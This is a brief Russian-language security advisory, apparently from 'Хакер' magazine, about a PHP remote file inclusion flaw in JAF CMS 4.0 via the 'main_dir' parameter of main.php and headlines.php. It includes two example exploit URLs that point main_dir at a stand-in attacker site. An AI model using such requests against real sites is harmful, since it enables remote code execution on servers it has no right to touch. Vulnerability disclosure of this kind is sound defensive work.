PHP-инклюдинг в JAF CMS

Рекомендуем почитать:

Хакер #305. Многошаговые SQL-инъекции

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: JAF CMS 4.0

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "main_dir" сценариями main.php и
headlines.php.

Примеры:

http://www.example.com/[jmf_path]/module/forum/main.php?id=1 &main_dir=http://attacker's site

http://www.example.com/[jmf_path]/module/forum/headlines.php? id=1&main_dir=http:attacker's site